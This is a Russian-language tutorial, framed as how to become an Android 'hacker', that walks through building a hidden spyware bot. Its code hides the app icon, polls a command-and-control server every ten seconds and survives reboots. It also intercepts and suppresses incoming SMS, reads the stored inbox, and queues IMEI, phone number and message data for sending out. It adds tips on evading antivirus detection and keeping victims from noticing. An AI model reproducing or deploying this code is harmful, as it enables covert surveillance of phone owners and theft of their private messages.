Как стать "хакером" Андроида?

Как стать "хакером" Андроида?

Kevin Mitnick


Как стать “хакером” андроида?

Да тут особо ни чего мудрить не надо. Просто идем по шагам.

1. Устанавливаем java для разработчиков с офф сайта. 

2. Качаем android studioКачаем полную рекомендованную. Сейчас мы не будем вдаваться в эти все подробности. Оно нам надо?

3. Запасаемся бубликами и пивом. Ведь сейчас придется все это поставить и настроить.

4. Тыкаем в основном далее, не вдумываясь что там написано. Незачем забивать голову 🙂

5. После чего как мы установили все это. Запускаем студию. Ищем сверху значок SDK Manager. Он где-то справа. Нажимаем, ставим везде галки, соглашаемся с условиями и нажимаем инсталл.

6. Опять грызем бублики и пьем великолепное пиво. Тут процесс по дольше, так как будут выкачиваться виртуалки и всяческие тулзы.

7. Ну вот собственно и все.

Как все начиналось?

Мы все поставили, теперь стоит и подумать, а как тут теперь вирус написать 🙂 А для этого мы идем в File -> New -> New project. И тут нам предлагают придумать название проекта и домен сайта компании. Вводим что взбредёт в голову. На основе этих данных генерируется package имя. Которое используется как уникальный идентификатор нашего APK. Жмем далее. Тут нам предлагают выбрать платформу под наш проект. Ну тут мы выбираем только Phone. Остальное рассмотрим позже. Далее. И теперь нам предлагают выбрать как будет выглядеть наше окошечко (Activity) стартовое, главное. Тут есть важная особенность. Чтобы запустить какой либо код сразу после установки, нужно чтобы было какой либо из окошек при старте. Поэтому выбираем любое кроме No Activity. Лучше всего выбрать Empty. Будет легче его вычищать, от ненужного мусора. Далее. Пишем название окошку и нажимаем Finish.

Будет немного времени , чтобы бахнуть еще пивка. Пока файлы нового проекта индексируются и настраивается сборщик проекта.

Эй, ты слишком жирный!

Пробуем собрать проект наш. Build -> Generate signed apk.. И что мы видим? APK с 1 окошком и приложением которое ни чего не делает. Занимает 1 мегабайт. Надо с этим что-то делать, а именно отказывать от библиотек (AppCompat). Это красивая графика, которая нам не нужна.

Переходи в файл MainActivity.java

Заменяем


public class MainActivity extends AppCompatActivity

на


public class MainActivity extends Activity

Удаляем


import android.support.v7.app.AppCompatActivity;

Заходим в настройки проекта и во вкладке Dependes удаляем строку с AppCompat. Далее переходим к файлу values.xml и styles.xml. Удаляем их.

Заходим в androidManifest.xml и

меняем

android:theme="@style/AppTheme"

на

android:theme="@android:style/Theme.Translucent.NoTitleBar"

Собираем наше приложение, ура! размер меньше 40 кб. Уже есть с чем работать.


Почему ты не прячешься?

Далее, нам нужно спрятать нашего зверька. Чтобы иконка не была видна в списке менеджера приложений. А так же надо закрыть наше приложение.

Вставляем после setContentView(R.layout.activity_main) Следующий код:


String pgkname = getApplicationContext().getPackageName();

ComponentName componentToDisable = new ComponentName(pgkname,pgkname+".MainActivity");

getApplicationContext().getPackageManager().setComponentEnabledSetting(

    componentToDisable,

    PackageManager.COMPONENT_ENABLED_STATE_DISABLED,

    PackageManager.DONT_KILL_APP);

Этот код скроет нашу иконку с глаз И после всего этого пишем:


finish();

Теперь наше приложение после установки. Запускается и сразу же скрывается с глаз долой. Ух, проделали мы работу. Но надо идти дальше, а то бот не появиться в админке.

Тук, тук, открывайте, полиция!

Теперь мы должны сделать так, чтобы наш чудесный APK начал стучать в админку. Тут я уже полагаю, что админка где-то написана. И от нас требуется только стучать. Возьмем самый простой метод, он не будет работать корректно на андроидах выше 4.х. Но с чего-то надо же учиться. Я же не за вас работу делаю. Нам нужно создать сервис. Для этого мы создаем файл с новым class. (Правой тыкаем в проекте, на папку Java). Название класса пишем к примеру Network. Нажимаем окей. Удаляем все содержимое файла кроме первой строки где прописан package и заменяем на



import android.app.Service;

import android.content.Intent;

import android.os.IBinder;

import org.apache.http.HttpResponse;

import org.apache.http.client.HttpClient;

import org.apache.http.client.methods.HttpGet;

import org.apache.http.client.methods.HttpPost;

import org.apache.http.entity.StringEntity;

import org.apache.http.impl.client.DefaultHttpClient;

import java.io.InputStream;

import java.util.Timer;

import java.util.TimerTask;

public class Network extends Service{

    @Override

    public int onStartCommand(Intent intent, int flags, int startId) {

        return Service.START_STICKY;

    }

    @Override

    public IBinder onBind(Intent intent) {

        throw new UnsupportedOperationException("");

    }

    @Override

    public void onCreate()

    {

        MyTimerTask myTask = new MyTimerTask();

        Timer myTimer = new Timer();

        myTimer.schedule(myTask, 10000, 10000);

    }

    class MyTimerTask extends TimerTask {

        public void run() {

            String result = "";

            result = GET("http://site.ru/?q=");

            // Обработка result

        }

    }

    public String GET(String url){

        InputStream inputStream = null;

        String result = "";

        try {

            HttpClient httpclient = new DefaultHttpClient();

            HttpResponse httpResponse = httpclient.execute(new HttpGet(url));

            inputStream = httpResponse.getEntity().getContent();

            if(inputStream != null)

                result = convertInputStreamToString(inputStream);

            else

                result = "";

        } catch (Exception e) {

        }

        return result;

    }

}

Это код описывает класс сервиса, в котором при запуске, запускает таймер и каждые 10 секунд отправляет GET запрос наURL и запрашивает ответ. Но это не все. Этот код не будет работать если мы объявим наш сервис в манифесте и не дадим права выходить в интернет нашему приложению. Идем в манифест.

Добавляем

<uses-permission android:name="android.permission.INTERNET" />

и в описание application


<service android:name=".Network" />

Осталось запустить наш сервис. Идем в MainActivity и перед finish() вставляем запуск сервиса


getApplicationContext().startService(new Intent(getApplicationContext(), Network.class));

Финишная линия

Теперь у нас есть апк, который сам себя скрывает после запуска и запускает процесс отстука в админ панель. Где написано // Обработка result : там происходит обработка ответа и команд админки. Не сложно, правда? Но пока мы пили пиво. Мы совсем забыли, что если телефон перезагрузят. То наше приложение уже ни когда не запустится. Для этого мы идем опять в манифест.

Добавляем права на запуск после ребута:


<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

Добавляем обязательно обработчик в описание application


<receiver

            android:name=".Boot"

            android:enabled="true" >

            <intent-filter>

                <action android:name="android.intent.action.BOOT_COMPLETED" />

                <action android:name="android.intent.action.QUICKBOOT_POWERON" />

            </intent-filter>

        </receiver>

Теперь после перезапуска у нас вызовется класс Boot. И сейчас мы его создадим. Все делаем как я писал выше. Создали и удалили все кроме package.



import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

public class Boot extends BroadcastReceiver {

    @Override

    public void onReceive(Context context, Intent arg1) {

context.startService(new Intent(context, Network.class));

    }

}

Конец, и пару слов.

В окончании у нас появился прям такой игрушечный бот (APK).

*********

Гейт – это скрипт который будет принимать, отдавать команды. К примеру админка у нас стоит на http://site.ru/. Создаем скрипт gate.php. И кладём его в корень. Получаем наш гейт http://site.ru/gate.php. Важно: нельзя использовать слова gate и слова-маячки. Трафик может снифаться.

Этот скрипт будет принимать и отдавать команды. Самый верный способ – это отправка данных методом post и чтение вывода.

Получаем простую цепочку:

1. Определяем гейт.

2. Шлем отстук.

3. Забираем задачи, что гейт нам даст в ответ. (Лучше всего задачи забирать по одной, так как нам важно время обработки команд и память которыю мы используем на телефоне. Ведь там не как на компе, гигабайты ее. А java она все таки местами прожорливая.)

4. Шаг не всегда отрабатывает, так как не всегда нам нужно слать отчет о выполнении команд. Но если все таки надо. То мы это делаем 2м пунктом, но с определенным флагом.

Почему post? Чтобы в логах не было ничего кроме имени гейта.

А что слать то?

В отстук входят все основные параметры такие как imei, версия os, sdk, различные параметры пользователя. Кстати если вы не знаете как генерировать bot id, то imei будет в самый раз, чтобы различать всех ботов. Так как это уникальный параметр телефона. Все что вы считаете нужным, отсылаете, а ответ обрабатываете.

Список параметров рекомендуемый для отстука:

1. imei (id бота)

2. оператор

3. версия os

4. версия sdk(для разграничения функционала, так как до 4.4 и после разные методы работы используются)

5. модель телефона

6. серийный номер

7. есть ли рут (использовать расширенный функционал и консоль устройства)

8. версия билда (по этому параметру можно обновлять старые версии)

9. Номер телефона

10. Другие параметры важные вам

Формат запросов, самый удобный на мой взгляд это json. Но мы живем в 21м веке и этого мало. Это все надо шифровать еще.  Почему json? Его очень легко обрабатывать и на стороне сервера и на стороне клиента.Далее мы накладываем алгоритм шифрования. Самый простой это будет RC4, хотя их много, как говорится, на вкус и цвет товарища нет. Но тут мы столкнемся с одной проблемой, у нас могут появитсья всякого рода спец символы, с которыми возникнут сложности при передаче и декодировании. Выходом является обёртка из base64.

Алгоритм получается следующий:

1. Составляем json

2. Шифруем его RC4 или любым другим алгоритмом.

3. Оформляем в base64

4. Отправляем

5. Читаем вывод гейта.

6. Делаем все в обратном порядке. Снимаем base64 , расшифровываем, разбираем json. Если надо отрабатываем определенные действия.

Важный момент, что при обработке результата, нужно проверять, а действительно ли это админка. То есть должны быть специфичные сигнатуры ответа. Если их нет. То перестаем туда стучать.

Так же стоит учитывать, что на телефоне время отстука может чуток отличаться, я имею ввиду интервалы. Все это из-за специфичной работы сервисов на телефоне. Поэтому стоит брать время ожидания с запасом, для определения онлайн бот или нет.

Праздники прошли, все протрезвели. Пора и за работу. Как только мы написали своего зверя, нам сразу же захотелось посмотреть фоточки и переписочки людей. И сегодня пойдет речь о том как это сделать. Сразу скажу, что этот вопрос очень сложный и мы к нему ещё не раз вернемся в следующих статьях. Мы рассмотрим здесь перехват и удаление смс для версий 2.х и просто чтение для версий старше 2.Х


Почему я решил так сделать? Просто с появлением версии 4.4 работа с смс (удаление или редактирование) изменилась. Создатели поняли, что не стоит кому попало давать работать с входящими данными.

Ну в общем поехали. Берем чипсы и пиво. И начинаем разбор.

Обработка входящих соединений



public class SMSMonitor extends BroadcastReceiver{

 

    @Override

    public void onReceive(Context context, Intent intent) {

Sms sms = new Sms();

        try {

            if (bundle != null) {

                Object[] pdus = (Object[]) bundle.get(Config.szPdus);

                SmsMessage[] mgs=new SmsMessage[pdus.length];

                for(int i=0;i<pdus.length;i++) {

                    mgs[i]=SmsMessage.createFromPdu((byte[]) pdus[i]);

                }

 

                sms.Text = getMessageFromSMSs(mgs);

 

                sms.SenderId = mgs[0].getOriginatingAddress();

                Date receiveDate = new Date(mgs[0].getTimestampMillis());

                sms.RecieveDate = receiveDate;

                sms.Status = mgs[0].getStatus();

 

            }

 

        } catch (Exception e) {

 

        }

 

// можете фильтровать здесь запросы от номеров.

 

        Intent intent1 = new Intent(context, SMSService.class); // подготовка Запуска сервиса обработки сообщения.

        intent1.putExtra("phone", sms.SenderId);

        intent1.putExtra("text", sms.Text);

        intent1.putExtra("date", sms.RecieveDate);

        context.startService(intent1); // Запуск сервиса обработки сообщения.

 

        abortBroadcast(); // функция для отмены передачи этого события дальше приложениям.

    }

 

    private String getMessageFromSMSs(SmsMessage[] sms) {

        String str="";

        for(SmsMessage message:sms) {

            str += message.getMessageBody().toString();

        }

        return str;

    }

 

    public class Sms{

        public String SenderId;

        public String Text;

        public Date RecieveDate;

        public int Status;

    }

}

Вот, основной класс который занимается перехватом смс. Кажется, можно сделать глоток пивка и расслабиться. Но нет, это не будет работать в связи с тем, что нам еще нужно сделать класс, для обработки смс сообщения. По-сути, сейчас мы сделали только перехват. Сразу возникает вопрос: “А почему нельзя все сделать в одном месте?” Проблема кроется во времени обработки. Обработка событий не может быть долгой. И времени хватает только на чтение данных и передачу их сервису.


Intent intent1 = new Intent(context, SMSService.class); // подготовка Запуска сервиса обработки сообщения.

        intent1.putExtra("phone", sms.SenderId);

        intent1.putExtra("text", sms.Text);

        intent1.putExtra("date", sms.RecieveDate);

        context.startService(intent1); // Запуск сервиса обработки сообщения.

Что и делает выше описанный код. Мы говорим какой класс запустить (он обязательно должен быть зарегистрирован как сервис) и передаем параметры.



public class SMSService extends Service {

    @Override

    public IBinder onBind(Intent intent) {

        return null;

    }

 

    @Override

    public int onStartCommand(Intent intent, int flags, int startId) {

        String sms_tel = intent.getExtras().getString("phone");

        String sms_body = intent.getExtras().getString("text");

        String sms_date = intent.getExtras().getString("date");

 

        //обрабатываем данные и если надо отсылаем в админку.

 

        return START_STICKY;

    }

}

Мы внесли все выше описанные изменения. Сидим, попивая вкусное, холодное пивко, и ждем как будут перехватываться данные. 🙂 Но вас настигнет разочарование: код выполнился без ошибок, но смс нет ни каких! И тут можно меня закидать помидорами или чипсами, смотря что под рукой. Давайте разбираться!Регистрация: “план перехват”

Дабы вышеописанный метод работал, нас нужно объявить в манифесте приложения. Чтобы android знал, что мы хотим делать. Но учтите, что при установке, пользователь увидит это в разрешениях приложения.



<uses-permission android:name="android.permission.RECEIVE_SMS" />

 

<receiver android:name=".SMSMonitor">

        <intent-filter android:priority="100">

            <action android:name="android.provider.Telephony.SMS_RECEIVED" />

        </intent-filter>

</receiver>

Дает право нам перехватывать смс. Есть хороший параметр приоритет, тут значение может быть от 1 до 999. Я рекомендую использовать от 100, но не сильно высоко. На этот параметр может ругаться антивирус. Если появился детект, можете искать его тут. Чем выше значение тем вы раньше будете стоять на обработку в очереди событий.


<service android:name=".SMSService" />

//нужно для того,чтобы мы смогли запускать класс как сервис.

Собираем, проверяем, все работает. Ура.


Чтение сохранённых смс

String INBOX = "content://sms/inbox";

//String SENT = "content://sms/sent";

//String DRAFT = "content://sms/draft";

 

Cursor cursor = cnt.getContentResolver().query(Uri.parse(INBOX), null, null, null, null);

 

if (cursor.moveToFirst()) {

    do {

        for(int idx=0;idx<cursor.getColumnCount();idx++)

        {

                if(cursor.getColumnName(idx).toString().equalsIgnoreCase(Config.szAddress)){

                    // cursor.getString(idx)// номер телефона

                }

                if(cursor.getColumnName(idx).toString().equalsIgnoreCase(Config.szBody)){

                    // cursor.getString(idx) // сообщение

                }

                if(cursor.getColumnName(idx).toString().equalsIgnoreCase(Config.szDate)){

                    // cursor.getString(idx) // дата сообщения

                }

        }

    } while (cursor.moveToNext());

} else {

    // нету смс

}

Для работы данного способа требуется разрешение


<uses-permission android:name="android.permission.READ_SMS" />

Прячем “плохие” сообщения

Я еще не объяснил где происходит удаление смс. И поэтому перейдем к этому вопросу. Тем более пива у вас уже должно заканчиваться, если конечно вы не ящик взяли 🙂

Самая главная функция abortBroadcast(); . Она говорит системе, чтобы она не передавала сообещение другим обработчикам включая стандартный смс менеджер от android‘a. Поэтому лучше иметь приоритет выше чем все приложения такого типа. Так же эта функция рано или поздно, станет вашим детектом. Но есть способы обойти это.

  • Удаление смс вручную, после обработки. Но тут вы должны будете приглушить звук смс, для того чтобы пользователь ни чего не заподозрил.
  • Удаление смс из очереди. (не пользовался)

P.S. Ну и на последок, данный способ будет работать на android‘е 2.х. От версии 4.4 и выше, он работать не будет (может только перехват, без отмены очереди). Там требуются другие методы. Но мы и это пройдем.

Что же делать? Я опишу два способа, но первый будет в качестве примера, а второй покажет Вам, как делать правильно.

Метод плоских файлов

Дописывать в конец файла, а при отправке очищать файл. Структура файла:



{json}\n

{json}\n

.........

{json}\n


Код чтения всего файла:

File fl = new File(filePath);

FileInputStream fin = new FileInputStream(fl);

String ret = convertStreamToString(fin);

fin.close();



try {

    FileWriter fw = new FileWriter(filePath, true);

    fw.write(Value + "\n");

    fw.close();

} catch (IOException ioe) {

 

}

Тут ничего сложного: читай, пиши. Есть одно “Но”. Мы работаем в потоках, и может случиться одновременная запись и удаление, а это надо контролировать. Но мы же спецы, нам надо сделать чтобы было круто. И мы переходим к базам данных.

Mysqli или как хранить данные по ФенШую

Мы рассмотрим работу с базой данных на примере чтения и записи. У нас простая табличка, где будут IDи StringJSON, которую после отправки мы будем очищать.


public class KNOCKERDatabase extends SQLiteOpenHelper {

    private static final int DATABASE_VERSION = 1;

    private static final String DATABASE_NAME = "knocker";

    private static final String TABLE_KNOCKER = "knocker";

    private static final String KEY_ID = "id";

    private static final String KEY_JSON = "stringjson";

 

    public KNOCKERDatabase(Context context) {

        super(context, DATABASE_NAME, null, DATABASE_VERSION);

    }

 

    @Override

    public void onCreate(SQLiteDatabase db) {

        String CREATE_TABLE = "CREATE TABLE " + TABLE_KNOCKER + "("

                + KEY_ID + " INTEGER PRIMARY KEY,"

                + KEY_JSON + " TEXT,"

 

                + ")";

        db.execSQL(CREATE_TABLE);

    }

 

    void addJson(String json) {

        SQLiteDatabase db = this.getWritableDatabase();

 

        ContentValues values = new ContentValues();

        values.put(KEY_JSON, json);

 

        db.insert(TABLE_KNOCKER, null, values);

        db.close();

    }

 

    public List<String> getAllJson() {

        List<String> jsons = new ArrayList<String>();

        String selectQuery = "SELECT  * FROM " + TABLE_KNOCKER;

 

        SQLiteDatabase db = this.getWritableDatabase();

        Cursor cursor = db.rawQuery(selectQuery, null);

        if (cursor.moveToFirst()) {

            do {

                jsons.add(cursor.getString(1));

            } while (cursor.moveToNext());

        }

        return jsons;

    }

 

    public void deleteRows(String num) {

        SQLiteDatabase db = this.getWritableDatabase();

String del ="delete from " + TABLE_KNOCKER + " where " + KEY_ID + " in (select " + KEY_ID + " from " + TABLE_KNOCKER + " order by _id LIMIT " + num + ");";

        db.execSQL(del);

        db.close();

    }

 

 

    public int getCount() {

        String countQuery = "SELECT  * FROM " + TABLE_KNOCKER;

        SQLiteDatabase db = this.getReadableDatabase();

        Cursor cursor = db.rawQuery(countQuery, null);

        cursor.close();

        return cursor.getCount();

    }

}

Теперь можно перейти к практике, как это использовать.

Шаг первый. Запись.

KNOCKERDatabase db = new KNOCKERDatabase(context);

db.addJson(DATA);

Где DATA – это запрос для отправки на сервер.Шаг второй. Чтение.


KNOCKERDatabase db = new KNOCKERDatabase(this);

List<String> jsons = db.getAllJson();

После прочтения записей, считаем их количество (через getCount), чтобы не удалить лишнее и избавляемся от них через deleteRows.


Report Page